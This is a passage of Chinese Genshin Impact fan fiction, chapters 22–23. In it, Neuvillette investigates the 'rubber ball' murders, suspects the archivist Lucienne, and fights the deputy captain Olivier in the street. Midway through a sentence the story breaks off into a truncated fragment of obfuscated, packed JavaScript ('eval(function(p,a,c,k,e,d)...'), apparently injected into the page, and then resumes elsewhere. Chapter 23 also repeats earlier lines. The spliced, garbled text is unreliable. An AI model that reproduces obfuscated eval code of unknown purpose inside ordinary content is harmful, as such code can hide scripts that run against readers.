“嚯?”刚到的莱欧斯利发出一声感叹,“这东西哪来的?” “应该是昨夜,梅洛彼得堡发生越狱事件,正乱着的时候。”那维莱特手上动作不停,回道。 腿有点短,跑过来累得气喘吁吁的希格雯,在看见像皮球里蜷缩着的女人时,惊呼一声,急忙上前:“我看看她的情况。” 那维莱特帮希格雯将人在地上平躺放好,在她检查的同时,轻轻拂去遮住女子面容的凌乱金发。 女子和弗蕾丝长得有七分相似,果然,她就是在沫芒宫消失了的弗米莉。 将人交给希格雯救治后,那维莱特又安排这里工作的警署人员负责处理现场,接着同莱欧斯利一起,回他的办公室里。 “这是怎么一回事?”莱欧斯利给那维莱特倒了一杯茶,问道。 那维莱特将小人鱼从泡泡里面抱出来,说道:“其实伊芮娅被妖风绑架的事情,已经早早给了我们答案。” “弗蕾丝和福卡达身上的伤口,赛德娜验尸的结果是利刃所致,而尸检报告上,则说的是:经分析化验,两位受害者的所有伤口处均未发现金属物质残留,暂无法确定凶器。” 语罢,那维莱特翻掌,刚亮过相的水刃重新出现,“只要神之眼拥有者的元素力足够强,以风凝刃,控刃行凶,不是难事。” “至于藏尸设局,更是简单。将死者塞入像皮球后,操纵风元素力托起像皮球,将它维持在上空,适时撤力,让像皮球自然落下即可。” “嘶呀~”伊芮娅双手环抱着身子,抖了抖。 莱欧斯利道:“行凶手法极其残忍,你瞧小鱼,光听都被吓到了。” 那维莱特歉意地对伊芮娅笑了一下,把小人鱼放回泡泡里,然后又往上施加了一层结界,不让伊芮娅听见外界的声音。 莱欧斯利起身,到办公桌的抽屉里抓了点平日给希格雯的小零嘴,抛给那维莱特。 “凶手呢,目前有怀疑的对象了吗?” 那维莱特把零食送入泡泡里,继而阖上眼眸,久久没有说话。 半响后,他轻轻点头道:“已经基本可以确定了。” 22.Chapter 22 7.5 Friday 下昼 转阴 “但凶手的作案动机和案件细节,还未曾核实。以及,他们几人的背后,应该会牵扯出来更多的麻烦事。” 说罢,那维莱特揉了揉眉心,脸上表现出少有的,像是元素龙不应出现的倦怠之色。 “嗐,这有什么。如此周而复始,循环往复的生活,你不是应该已经习以为常了吗。”莱欧斯利双手一摊,“我一直觉得,水上的人都被你惯坏了。” 那维莱特不解,抬眼问道:“何出此言?” “啊,我想想,据说你已经在最高审判官的位置上,坐了五百年了?” “是的。” 莱欧斯利打了一个响指,“这就是问题所在。” “人,是一种生来便充满了惰性的生物。无论何事,都可以依靠无所不能的最高审判官大人,经过了五百年的潜移默化,这无疑已经成为每一位水上人的共识。” 那维莱特眸光闪了闪,“所以你觉得,我应抽身放权,或者说不再干涉枫丹过多的事务?” “不。”莱欧斯利摇了摇头,对上那维莱特专注的目光,他临时换了一个比较委婉的说法,“我只是感觉,你需要出去走走。” 闻言,那维莱特脑海中蓦然浮现出一个俏丽的声音。 “你就算消失几天,沫芒宫也是可以正常运转的。” 那维莱特沉思片刻后,起身,弹去衣服的折痕,化出手杖,微点下颌:“谢谢你的建议,等这件事处理完毕,我会认真考虑的。” “呵,那真是再好不过了。我左右是若浅池之鱼,只得困守在这座梅洛彼得堡里。早就听闻璃月的早茶,乃是提瓦特一绝,可惜还未曾有幸品尝一二。” “你的刑期已经结束,枫丹并没有束缚你不得外出的律法。”那维莱特下意识回道。 莱欧斯利一愣,陡然失笑。 “当然,我如果去璃月,也会给你带些回来。” “哈哈哈哈,那就有劳最高审判官了。”莱欧斯利拍了拍那维莱特的肩膀。 接着,他展手前伸,收起脸上的笑容,正色道:“闲聊结束,走吧,我们该处理正事了。” “哦,对了,差点忘记和你说。被劫狱带走的两个犯人,名字是久世浪行和特诺法兰。” 闻言,那维莱特脚步一顿。 莱欧斯利也停了下来,问道:“怎的了?” “这个案件,可能远比我想象中的还要麻烦。” 语罢,那维莱特迈步走在前面,没一会儿,两人在管理区上层分开,那维莱特去了医务室。莱欧斯利则回了办公室,开始着手彻查潜伏在梅洛彼得堡里各类细作。 医务室里,弗米莉已被安置平躺在病床上,希格雯背对着门,站在一旁的木桌前调配着药水。 “她情况如何?”那维莱特反手撤下泡泡外的结界,恢复小人鱼的视听,走至床边问道。 希格雯往碗里倒入最后一瓶调配好的绿色药水,然后从包里拿出针管,抽了满满三支,整齐地放在托盘之中,端过来。 “她的双手双脚,因为被强行塞入橡皮球中,均有不同程度的软组织挫伤,然而这些都不是关键……”希格雯深深吸了一口气,硬生生咽下冲天的怒气,快准狠地把针头扎入弗米莉手臂上的静脉血管,稳稳将药剂匀速推入。 “她的体内,被人极其恶意地强行灌入超过正常剂量十倍以上的安眠药剂。” 注射完药剂,希格雯一边收拾医疗废品,一边继续和那维莱特说着弗米莉的身体情况。 “稀释药剂我已经给她注射进去了,但是……药剂能不能起作用,能否保住她的性命,最主要的,还是要看她自我的求生意识。” 那维莱特颔首又问:“若药剂正常发挥效用,她大概什么时候能苏醒?” 希格雯仰起头,很认真地说道:“最快也需要一天半,如果求生意识不强,会迟上一会,但拢共只有三日时间。假若三日内醒不过来,她会脑死亡,变成一个植物人。” 那维莱特:“……” 见那维莱特不说话了,小人鱼拍拍球壁,引他望过来,“叫……呼呼怕怕?” 小人鱼听不懂什么药啊,剂啊的,仅是感觉很奇怪,这人为什么会昏迷呢? 那维莱特只一瞬就明白了它的疑问,对希格雯说道:“芙宁娜在一个半小时前,路过了歌剧院的升降圆盘,听见弗米莉的求救声。” 希格雯小手捂着嘴“哎呀”了一声,不好意思地说:“刚才忘记说了,安眠药剂才进入她体内不久。” “看,就是用那个。”她指向放在木桌上的水瓶,补充道。 见状,那维莱特慢慢拧起了眉头。 之前的猜测,好似……有些说不通了。 过了几息,他半蹲下身子,揉了揉希格雯的脑袋,温声道:“尽力医治吧,若无力挽回,也不必苛责自己。” “经过了这么多年,我明白的,那维莱特大人。”希格雯笑了笑。 那维莱特轻叹一声,立马转身回了沫芒宫。 弗米莉这边已经没有捷径可走了,他只得回来,将案件从头梳理一遍。 他坐在办公桌前,先是将小人鱼从泡泡里抱出来,放到一边,而后从抽屉中拿出与本案相关的所有文件材料,一一摊平铺满桌面,合掌深思。 而今,只需更具已知信息,将所有信息糅合在一起,再根据时间线往回倒推,即可锁定犯罪嫌疑人,核实自己的猜想。 先前,他在梅洛彼得堡和莱欧斯利说凶手已有眉目,依据是使用风元素的力量操控橡皮球,其本人不能距离过远。结合在弗蕾丝的死亡现场,分别先后坠下的两个橡皮球,便可以划定出一个大致范围。 首先,他本人、小人鱼和赛德娜可以排除。在余下的人里,警备队五人,按档案和资料看,与弗蕾丝并无交集,且出现在现场符合常理。 只有露西恩一人,突然出现在死亡现场,很是奇怪。 当时,露西恩解释:她觉得弗蕾丝没去上班,是留在家中照顾患病表妹的缘故,所以下值后带了两份餐食给她们送去,刚好遇上报丧的警备队,得知消息赶过来。 第一,为何是两份餐食? 既是下值就去,分明露西恩自己也未曾用餐,怎么不带三份在弗蕾丝家里一起吃?而是选择了两份? 第二,警备队确定死者身份后,与家属报丧确有惯例。但那时看上去警备队人手不足,副队长奥利维尔尚在苦于清理现场的速度很慢,又岂会分出人手,在验尸未完,一切还没有定论的时候,忙着去找家属报丧? 第三,假设警备队真的去报丧了,为何作为死者唯一亲属的弗米莉没来,且露西恩在哭诉的时候,也未曾提到弗米莉对此是何反应。 从下午芙宁娜带小人鱼出去吃饭,在德波大饭店遇到弗米莉和露西恩两人用餐,可以推断出弗米莉身体并无大恙,不说别的,最起码行走是没有问题的。 那么是否可以由此推测,露西恩来到死亡现场时候,警备队还未通知弗米莉。而在他们离开灰河后,露西恩没有想到会被他强留在沫芒宫,只得暴露她为神之眼的持有者,躲过发条警备机关的保护,甚至…… 那维莱特目光一颤,偏头看向伊芮娅脖颈所带的珍珠项圈。 露西恩在灰河的时候,脖颈上没有饰物,也就是说,她离开沫芒宫后,甚至专门折道回家换了衣物,才去找的弗米莉。 联想到现场最后被小人鱼发现的珍珠颈圈,想来是她将福卡达一刀割喉毙命的时候,有那么一两滴血迹,不慎溅到了颈圈之上,于是被她随手丢弃在最后一个塞了石块的橡皮球内。 而那维莱特可以确定,露西恩在凶杀现场出现时,身上没有血腥味,否则他不可能察觉不到。 那她为何要专门更换衣物? 在那维莱特的记忆中,每一次见到露西恩,她脖颈的确都佩戴有符合当日穿戴的饰品。其中,又以颈圈数量最多,枫丹女士中最为流行的项链,在她的脖颈上反而颇为罕见。 现场发现的那条颈圈,很关键! 而这之后,露西恩特地在他面前上演得姊妹情深的戏码,现在看来,哪里是她想照顾失去亲人的弗米莉,分明是想借照顾弗米莉之由,一来从沫芒宫脱身,二来将疑似知晓些什么的弗米莉,牢牢把控在自己的掌心。 不过,在他提及布鲁恩的时候,她像是完全换了一个人,反应非常奇怪,难道其中另有隐情? “咿呀?” 伊芮娅叫了一声,然而那维莱特太过溺于思绪,全然没有听见。 小人鱼本来在很懂事地抱着尾巴,自己在玩编绳,但那维莱特的视线在它身上停留了太久。 一直被他看着,伊芮娅心思难免活络了起来,半是难为情,半是疑惑的,提高音量又唤了几声。 “嗯?”那维莱特回过神,长睫拢下,“怎么了伊芮娅?” “木呀。”伊芮娅摇摇头,余光瞥见窗外,抬手指了过去。 那维莱特随之扭头,触目只见层层乌云压过透蓝的天空,以墨黑的身躯,笼罩在枫丹廷的上空,把世界整一个儿,无情地扑上了一层黑灰。 上头的云密不透光,下头的空气也黏腻闷热,仿佛下一秒就要暴雨将临。 等真到了雨哗哗往下砸的时候,与之一同袭来的,还有在那维莱特脑海中飘忽而过的一幕。 他记得,在弗蕾丝死前一晚,正与露西恩同桌用餐。 昔时,翠斯塔确切地说过,是露西恩主动提出,想与逐影庭的美露莘们一起拼桌团建。 而这绝不会是露西恩临时起意的想法。 说起来,那维莱特对她最初的怀疑,源自他亲眼见到了,财务部长特诺法兰那份完美无缺的档案。 沫芒宫所有的聘用公务人员,都经过了他的手,尤其是露西恩。鉴于枫丹特聘条例,她的名字,在档案馆老馆主在卸任前半年,就报给了那维莱特,所以实际上那维莱特曾留心观察过露西恩半年时间。 升任之前,她仅有三年工作经验,但那维莱特可以断定,以她那时的水平,发现特诺法兰的档案问题都不是难事,何论如今?若说多了几年经验,工作的能力反而下降了,已经任职百年的那维莱特是完全不信的。 至于说露西恩疏忽大意,没有注意到特诺法兰的档案,也是解释不通的。 毕竟除了财政部部长特诺法兰,还有特训队队员福卡达、梅洛彼得堡看守布莱特和财政部成员布鲁恩,一共四人,四份档案,档案馆日常检查的筛子孔是有多大,才能在这些年里,无数次将这四份档案每次都给它筛漏过去。 尤其是他们四人,不是在操控着枫丹的经济命脉,就是就职于枫丹警务系统。同时,枫丹政务系统内的档案核查,要求所有内部部门和外部所属部分,统一在每年的一月一日进行,必须当天完成。 如此年年查,还年年漏四份的概率,实在是微乎其微。 既非巧合意外,便只能是人为。 除了露西恩,档案馆里的其他工作人员,想做到这一点,都极其困难。 顺着这一条线推下来,凶手只能是露西恩。但是那维莱特回来的时候,与盯梢露西恩的美露莘核实过,她今天一天,都没有离开过沫芒宫。 想到这里,那维莱特看了眼挂钟,曲指,蹭了蹭小人鱼的小脸,“伊芮娅,我要到隔壁一会,约莫十多分钟,让芙宁娜过来陪你一会可以吗?” “不呀~”伊芮娅小手握拳,敲了敲胸脯,“偶可以,不嘛饭!” 就十多分钟,把芙宁娜找来确实也挺折腾的。 那维莱特环视四周,抬手凝出一个直径超过一米的水球,罩在办公室会客区的三角茶几上,接着右手托起小人鱼,左手顺上它的玩具,走过去。 “在里面玩着等我好吗?” 伊芮娅眨眨眼睛,“吼呀~” 安顿好小人鱼,那维莱特出了办公室,合上门,又往上施加了一层水纹锁,然后往露西恩暂居的休息室而去。 到现在,所有线的源头,都汇集向了露西恩,她也是作案动机最为充分的人,目前只需要找到切实的证据,就可以下令对她进行批捕。 行至门前,那维莱特的视线扫过守在暗处的警卫,扣响了木门。 片刻后,门打开了。 身着一袭淡紫色长裙,看起来格外典雅的露西恩见礼问安之后,侧过身子,迎那维莱特进屋。 明明只是一门之隔,却好似将室内与外头分割成了两个世界。 虽说外面的天色很暗,可还远远没到需要在屋内开灯的地步。 而露西恩却打开了室内所有的灯,数道纯白的光线分别从不同源头出发,又在半空汇集,最后经由光滑的卡其色瓷砖的反射,变得更加透亮,照得整间屋子容不下一丝黑暗,明亮又刺目。 一人一龙沉默地面对面坐下。 隔了两三分钟,露西恩莞尔一笑,“那维莱特大人,什么时候只是递送庭审传票这样的小事,都需要您亲自跑一趟了?” 她的心情看上去很好,嘴角一直浅浅上扬,就连说话的口吻都显得既轻松又愉悦。 炽白的光照在她的脸上,显得她皮肤格外细腻白净。一根纯金的细项链绕在她细长的脖颈上,与淡紫的裙子互相点缀,衬得她平白多了几分疏离感。 那维莱特微愣,下意识很有礼貌地先回答了她的问题,“我来并非为此。” “噗。”露西恩翘着兰花指,掩唇失笑,又长又翘的假睫毛随着眼皮半合,缓缓垂下,在白净的面颊上落了一层淡淡的阴影。 她随手将披散在肩的头发撩到身后,抬眸与那维莱特对视惑问:“大人所为何事而来,不妨直言相告。” 她的目光坦荡且无畏,没有露出分毫的怯懦与慌乱。 那维莱特看着露西恩脖颈上的金扇项链,淡淡说道:“昨日听你说,你的神之眼是水属性?” 露西恩唇齿微张,适时地摆出一副惊讶的表情。 “当然是,我没必要,也没有理由在这个问题上说谎呀。” 边说,她边稍稍提起裙子,拉开一个裙角,露出右脚的脚踝。 一枚水元素神之眼扣在脚链上,静静的悬挂在那。 见状,那维莱特不由敛眉。 不是风属性的神之眼,难道自己的推论都是错的吗?还是说,持有风元素神之眼的另有其人,而她们在一起行凶作案?又或者,这枚水元素神之眼,是别人的呢? 露西恩轻笑一声,松开手,裙角重新遮住神之眼。 她像是洞悉了那维莱特的心思,抬手,翻掌,一个皮球大小的水珠,在掌心徐徐浮现。 她唤水的姿势,与那维莱特几乎一模一样。 同时,无论是水球的大小,还是色泽,又是那么巧好地与源水之滴十分近似。 “那维莱特大人,您这是怎么了?为何我拥有最为契合枫丹的水元素神之眼,却感觉您对此很失望?”露西恩指尖慢慢绕着长发,气定神闲地说道。 “露西恩小姐,这般与我弯弯绕绕地打哑谜,便是你所理解的直言相告吗?”那维莱特平静地反问。 “没有呀,那维莱特大人,这您可就误会我了。”露西恩收了元素力,双手搭在小腹上,坐得尤为端正,“我这不是正想同您打开天窗说亮话,老老实实交个底吗?” 那维莱特瞥了一眼墙上的挂钟,提醒道:“今日的会谈,未在安排之内,我时间有限。” “哎~”露西恩幽幽叹了声,“到底是枫丹的最高审判官,只消一句话的功夫,就能轻松掌握主动权。” “我知道您在怀疑什么,但……晚了。” 一声惊雷炸响,外面的雨越下越大了。 露西恩说完,便起身迤迤然回了内间,仅仅丢下了一句:“我能说的,已经都说了,那维莱特大人,慢走……不送。” 对方话已至此,那维莱特心知再难问出什么,并且,在枫丹光靠红唇白齿上下一碰的推测和怀疑,拿不出指向露西恩的切实证据,那维莱特暂时也拿她没什么办法,索性离去。 正正好,那维莱特刚走到办公室门口,就遇上了抱着一摞材料,快步而来的奥利维尔。 “那维莱特大人,弗蕾丝和福达卡的验尸情况和尸检报告都在这了。” 说完,奥利维尔就站在原地,打算等那维莱特开门,给它放进去。 哪成想那维莱特直接冲他伸手,将一沓材料全部接了过去。 “有劳你了,多谢。” 奥利维尔一愣,眨眼间就变得空空如也的手掌摩挲了两下,扯唇回了个笑,转身离开,就仿佛是一股打旋的风,刮来又卷去,从不在原地停留太久。 那维莱特解开门上的水纹锁,进去先把材料放下,再去茶几将伊芮娅捞出来,收了元素力,坐回办公桌前。 走这一趟,对那维莱特而言,纵使没有得到太多的有用信息,也不算是毫无收获。 凶手的推测,讲究的是一个作案的动机,这与露西恩是否拥有风元素神之眼并无干系。难道能说,躲在凶手背后,借刀杀人之人,就不是凶手了吗? 那维莱特眸底渐渐笼起晦暗之色。 突然,伊芮娅立着尾巴挪过来,靠在他的手臂上。 “伊芮娅?” “呼呼呼”小人鱼嘟起嘴,往他身上吹了三下,“不气气~” 那维莱特一怔,看着伊芮娅,一时不知该说什么。 他生气了吗? 原来这种心底燥热的感觉,就是被称呼为生气的情绪。 他是水元素龙,素来认为自己是绝对理智的化身,如今竟也会生出别样的情绪。 方才露西恩给他展示水元素力的时候,那个水球,完全是刻意模仿了源水之滴的形状。 她在向那维莱特示威,以源水之滴为引,暗暗点出源水之滴和翠斯塔的失踪。 对他来说,这既是要挟,又是一个突破口。 要挟,就证明了露西恩有所求,而她现在还不知道,她手上的筹码只剩下了两个空壳。 只有天平的两端完全平衡,双方才是在平等的条件下正常谈判,而露西恩那头此刻空了,她所求之事物,便成了那维莱特的筹码。 伊芮娅悄悄观察了会他的脸色,见那维莱特眉心渐渐平展,于是便大着胆子,尾巴一甩,将放在他手边的文件“啪”一下扫开。 然而,它忘了控制力道,不慎将几页纸扫到桌子底下去了。 “嘶……”小人鱼倒抽一口凉气,有些心虚,慢慢往后蹭了一点,而后拇指食指揪着那维莱特的白花边衬衫一角,“不看……休会儿。” 那维莱特揉了揉它的脑袋,柔声问道:“有些无聊?” 伊芮娅眨巴眨巴眼睛,耳根羞红地点了点头。 这下子,那维莱特犯了难。 且不说今日未完成的事项,光是眼前这些资料材料,他都还没看完,实在是腾不出时间陪小人鱼玩。 小人鱼岁数很小,却异常懂事乖巧,已经连着好几天闷在屋里,等着他结束工作,那维莱特实在是不忍心让伊芮娅再守上半日了。 他看了眼时间,心里默算片刻,终究是走到门口,让美露莘秘书去请水神过来一趟。 “芙宁娜稍后会过来,让她带你出去玩好吗?” 伊芮娅即没说好,却也没说不好,尾巴往那维莱特手臂上一缠,而后双手捂住耳朵,任凭他如何言说,都赖着不下来了。 小人鱼不开口,那维莱特一时有些摸不清它是什么意思,只得任由自己手上多出来个不轻不重的挂件。 他将掉了的几页文件重新捡起来放好,心神重新放回案件里面。 那维莱特翻开奥利维尔递送上来的报告材料。 弗蕾丝和福卡达一人各两本,一份赛德娜的现场验尸情况,一份逐影庭出具的尸检报告。 四本叠在一起看着很多,但前面都是尸检和验尸详情,实际上,那维莱特只用翻到每本的最后一页,细看一遍结论即可。 这份报告本来应该在七月三日下午送到他的办公桌上,但由于赛德娜在逐影庭不是专门任职尸检的验尸官,她初步的检查结果和逐影庭与警备队联合出具的报告出入很大。 所以奥利维尔将它暂时压下,与沫芒宫报备之后,又重新核验了两次,方才送来。 从报告上看,凶手行凶的凶器和手法,正是那维莱特推断出的风刃。 他将四份报告的末页一览而过,然而却没有找到那份关键性的证据。 那维莱特将报告往前翻了几页,找到抬头为《现场物品鉴定》的页面,将四份的这一模块都看了一遍。 项圈,那个在现场被伊芮娅指出来的项圈,与之相关的,就连一个字,都没在报告上出现。 霎时间,那维莱特的眼前浮现出方才与露西恩谈话时,她那副悠然自得的模样。 “那维莱特?我进来了哦?” 门外传来芙宁娜的声音,没等她用力推门,厚重的木门“唰”地自动开了。 “咦?”芙宁娜惊异一瞬,随后对着径直走过来的那维莱特说道,“怎么样,我是不是速度很快?” “你来的路上,有没有遇到奥利维尔?”那维莱特一面动作很轻,小心翼翼地将小人鱼扯下来,一面问芙宁娜。 “奥利维尔?嗷,你说的是警备队副队长吧,在沫芒宫门口遇上了呀。” 那维莱特颔首,将伊芮娅放到芙宁娜手心里,一句话没留,直接走了。 “哈?”芙宁娜双手捧着小人鱼,望着他已经消失了的背影,一脸懵逼。 她不可置信地低下头问伊芮娅:“他他他……就这么走了?” “嗯……”小人鱼嘴巴嘟得老高,神色郁郁,很不高兴。 “他做什么去,有和你说吗?”芙宁娜又问。 伊芮娅干脆甩头:“木呀。” “不然我们……” 同一时间,小人鱼抬起手,指着那维莱特离开的方向。 一人一鱼大眼瞪小眼一息,齐齐勾唇。 “走,跟上去瞧瞧。” “吼呀!” 伊芮娅早上乘的泡泡那维莱特没有收,此刻正静静地飘在办公室进来右手边的门柜上。 芙宁娜小跑过去,把小人鱼放进去,双手抱住泡泡,然后往外跑去。 结果嘛,自然是没有追上的。 那维莱特一出沫芒宫,就施展了他的能力,通过簌簌而下的雨点,来感知奥利维尔的具体方位。 他在报告上没有翻到那条珍珠颈圈的瞬间,就反应了过来。 为什么,在他找过去的时候,露西恩敢摆出那般优游自适的姿态。 没想到,千挑万选出来的警备队副队长,竟然与她是一丘之貉。 这就难怪区区两份尸检报告,硬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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奥利维尔隐在身后的手悄悄握紧,面上愁眉抿嘴,摆出一副很为难的样子看着她,“水神大人,事关重案,恕我不便透露。” “哈?”芙宁娜头一歪,难以相信她居然被拒绝了。 “你真是好大胆子!我可是统领整个水之国、尘世七执政之一的神明。你踩在枫丹的土地上,在我设立的政务部门任职,居然说我无权知晓?” 奥利维尔身子一僵,声音干涩:“水神大人,您误会我的意思了。这桩案子是最高审判官那维莱特大人亲自办理,尤为关注重视。” 说着,他给芙宁娜递了一个眼神,“在这大街上……人来人往的,现在又案情不明,凶手还未捉拿归案,我实在是……不敢说啊。” 他原本想着用那维莱特充当个借口,因为芙宁娜一素不理这些在神明的眼中,只能称之为陈芝麻烂谷子的破事,只处理一些事关枫丹发展根基的掌舵大事。 之前就是,遇上没什么事,出门闲逛的水神大人,若她问起什么,只用把无所不能且深得她信任的那维莱特搬出来一放,她就懒得再过问了。 可这次,芙宁娜却奇怪地望着他,打量的眼光把他从头到尾扫视了一遍,问道:“我没有问你案件啊?我不是只问了你接下来去哪吗?” 芙宁娜死死盯着他,只见一滴豆大的汗珠,顺着他的额角往下滑落。 本来她没觉得有什么不对,现在看下来,面前这人,只怕真有点问题。 “我正要去案发现场,再次勘查一遍。”奥利维尔硬着头皮,随口编道。 马上就要到约定的时间了。 他必须尽快把芙宁娜糊弄过去,然后赶去码头,从此离开枫丹,远走高飞去了。 芙宁娜缓缓收了眉眼间暗藏的悦色,眯了眯眼睛,“这不是去灰河的方向。” 奥利维尔打了个哈哈,伸手往东边一指,“这不是属下出来得急,把记录本给忘在宿舍里了,正想着快点跑回去拿一趟,不耽误事儿嘛。” “原来如此。”芙宁娜点头,正欲开口让他走时,顿感头顶细细密密往下飘的雨,顷刻停了。 再之后,那维莱特的声音远远传了过来,“芙宁娜退后。” 芙宁娜身体的反应比脑子快,转身跑出了十几米远,站定后,懊恼地跺了下脚。 她做甚么怎么听话,喊跑就跑,一点神明的威严都没有了。 听见那维莱特的声音,奥利维尔色若死灰,眨眼的功夫,便看见他出现在自己的面前。 “奥利维尔,你负责的像皮球杀人案,疑似通敌销毁关键证据。” 奥利维尔咬牙反驳,“那维莱特大人,您凭什么说我通敌,我又何曾销毁关键证据了?您作为最高审判官,不是最明白,凡事都要讲究一个证据的吗?” 那维莱特目光凌厉地盯着他,沉声,“除此之外,警备队副队长奥利维尔涉嫌档案作假,以不法手段入职。现对你做出拘留七十二小时,以待调查的处罚决定。” 他还没有来得及去查奥利维尔的档案,但从其他两人的档案,和他三年跳五级来推测,他的档案百分百有问题。 奥利维尔眼底的慌乱渐渐消散,转而变为孤注一掷的坚定。 “抱歉,那维莱特大人,您挡了我的路。” 他捏紧手指,起势推手,冽冽寒风刮开了奥利维尔衣袍的一角,露出挂在他腰间的冰元素神之眼。 “我虽然不知道您的实力深浅,但您是水属性,天生就被冰系克制!” 他只见过那维莱特出手过一次,抬手一瞬便将灰河脏污的地面洗净。 事后,他特意问过露西恩,还用沙盘简单模拟了现场情况。 露西恩看完,只说了一句话:“尽量避免他交手,若不得不为,虚晃一枪,及时脱身。” 从他记事以来,只比他小两个月的露西恩,就已经是他们一小波的领头人了。 她的判断很少出错。 奥利维尔定气凝神,双手合掌画圆,一条粗过百年老树,长过城门立柱的冰龙凭空出世。 街上行人被这遮天蔽日之物吓得无不惊异,纷纷拔腿就跑,却又在跑远了之后,悄摸驻足,一个劲地伸长脖子。 更有甚至,还架起了留影机。 芙宁娜亦是赫然一惊,在往后撤和向前躲到那维莱特身后,两个非A即B的选项里,犹豫片刻,最终选了第二个。 她小跑到那维莱特背后,一手托着泡泡,一手死死攥紧那维莱特的衣服后摆。 “你可以应付的……对吧,小鱼鱼可是也在这呢?” 泡泡里,伊芮娅适时地“嘤”了几声。 那维莱特微微侧身,将芙宁娜完完全全挡在身后,柔声开口,“无碍,安心。” 得了依靠,芙宁娜慌乱的心顿时有了着落,眼底的胆怯之情尽数消失。许是好奇心作祟,她探出头,想再瞟上几眼,却立马被冰龙威风堂堂的外貌吓得缩了回去。 奥利维尔操纵着冰龙,望着永远脸上都漠然无色,周身气定神闲的那维莱特,长呵一声,猛地推出冰龙。 刚下过雨,青石板砖铺就的地面尚未干透,尤其是凹凸不平的石缝还蓄着不少水。冰龙发出震天的嘶吼,笔直地往前冲锋。 透骨的冰寒之气袭面而来,四周的温度骤然降低,就连脚下的石板,都被快速蒙上了一层湿滑的薄冰。 那维莱特寸步未动,抬手,一道水屏障在身前形成。 足有两人大小的龙头,像是速度太快,在触及水屏障之后,立马乘九十度,像是以水屏障为镜面,如光线一般折向上空。 芙宁娜见那维莱特仅以一道水屏障,就极其轻松地挡下了奥利维尔全力挥出的冰龙,登时笑弯了眉眼。 反倒是伊芮娅,扯着嗓子,叫了一声。 这时,那维莱特也察觉不对,眼神一冷,脚尖点地发力,向后跃去。 芙宁娜身前就这么空了,只留下相距四五步远的水屏障。 她傻眼呆滞了几秒,咬牙小声咒骂了两句,脚上动作却很诚实地往前,凑到了水屏障后面。 下一瞬,骤变突生,冰龙掉转了冲天之头,张牙舞爪地毫不犹疑扑向了百米之外的围观民众。 巨大的冰龙卷起层层巨浪,犹如海啸,压到民众头顶。人群在短暂的呆愣过后,立马被恐惧席卷,相互推搡着往阴翳外跑。 在冰龙落下的最后一秒,那维莱特闪身到杂乱的人群之中,撑起了巨大天幕。 冰龙撞下,蔚蓝的水幕逐渐被冰的寒凉冻结,却又很快重新融化成隐隐流动的水流。 原是那维莱特在拦下冰龙之后,即刻调控了水的温度,将冷水变为滚烫的沸水,以此融冰化水,收为己用。 不消一分钟,随着冰龙的最后一截尾巴溶解化水,危机算是解除了。 被救下的子民愣了片刻,不知道谁先起了个头,喊了句“那维莱特大人威武”,余下的人也跟着喊了起来。 那维莱特入世百年,还从未如此近距离地解除这幅场面,一时有些不知所措,怔在原地。 半响,芙宁娜拨开疯狂的人群,挤进来,气得面红耳赤,冲着那维莱特大吼道:“那维莱特!你是笨蛋吗?奥利维尔早逃走了,赶紧去追啊!” “还有你们!”芙宁娜把泡泡抛给他,左手插腰,右手伸直,身体半转将围着的民众指了大半圈,“都看见了最高审判官,不知道这是在处理需要他亲自出马,才能拿下的极度危险人员吗?” “一圈地围在这里干什么?是觉得自己平日太无聊,想找点刺激吗?” “是,枫丹是水之国。所以你们身为我枫丹的子民,脑子里装的都是水?” ………… 芙宁娜实在是气不过,骂了好一会,嗓子都开始有些沙哑了,才摆摆手,放这些爱吃瓜的子民离去。 水神发怒,枫丹人自然是不敢再多逗留,眨眼溜得干干净净,整条街道只剩下一人一龙一鱼。 “奥利维尔跑了,要怎么办?”芙宁娜喘了口气,接过那维莱特不知道从哪里变出来的银色高脚杯,喝了口水,问道:“奥利维尔跑了,现在要怎么办?” 只见那维莱特一手伸进泡泡里,安抚着焉了吧唧的小人鱼,不慌不忙回道:“并无大碍,我已经安排封锁了枫丹所有的出入口。” “并且,水已经留下了他的气息。只要我想,在枫丹的境内,都可以很容易锁定他的位置。” 芙宁娜重重“哼”了一下,腮帮子气得都鼓起来了,“那你不早说,害我白担心一场。” “先前你没有问。”那维莱特一板一眼答道。 “当谁想管你的事,一天工作从早忙到晚的。”芙宁娜抱胸,斜眼不屑,“不懂得享受生活,品鉴小蛋糕,你的龙生好生无趣。” 那维莱特:“……” 芙宁娜也没指望他会回话,手伸到他眼皮底下,五指召了召。 “什么?” “小鱼鱼呀。你不吃东西,小鱼要吃啊。”芙宁娜特别自然地从那维莱特手上抢过泡泡,“再说了,你找我过来,不就是为了这个?” 那维莱特沉思片刻,点了头,“那就麻烦你暂时帮我照看伊芮娅了,我需要去档案馆一趟。” “那六个人,一定有着某种共性,才使他们聚在一起。或许可以从他们的档案中,窥见一二。” 芙宁娜不慎在意,扭头就走,嘴里小声嘟囔道:“真是工作入魔了,随便逮上个人就开始谈工作。这案件具体是个什么情况,我可一点不知道,还要同我说上一嘴。” 耳目聪颖的那维莱特揉了揉眉心,默然失语。 23.Chapter 23 7.5 Friday 暮晚风平 “小鱼鱼呀。你不吃东西,小鱼要吃啊。”芙宁娜特别自然地从那维莱特手上抢过泡泡,“再说了,你找我过来,不就是为了这个?” 那维莱特沉思片刻,点了头,“那就麻烦你暂时帮我照看伊芮娅了,我需要去档案馆一趟。” 伊芮娅环胸立在泡泡里,听上头两位三言两语之间,就给自己定下了去处,心里有点点不开心,尾巴一甩拍了拍球壁。 随之,泡泡在芙宁娜手里震了震。 “嗯?”芙宁娜把泡泡抬到眼前,眨巴两下眼睛,凑近往里面看去。 “不~~呀~” 虽说没看见小人鱼,但它略显失真的声音,顺利从里头传了出来。 听起来弯弯绕绕的两个字,表达的意思却是无比明确。 “小鱼鱼不想和我一起去吃晚饭?”芙宁娜有些不可置信,就连说话的语速都快上不少,“你难不成想和那维莱特一道,去处理工作?” “不~~呀~” 芙宁娜只听得到声音,没法对此做出更多判断,摸不准小人鱼是什么意思,求助的目光自然而然地挪向了那维莱特。 那维莱特微微低头,望着正发着小脾气,抱着尾巴尖尖独自生闷气,对上他视线还立马回了一个白眼的伊芮娅,颇为头疼。 “给我吧。”那维莱特对芙宁娜摊开手掌,想要回伊芮娅。 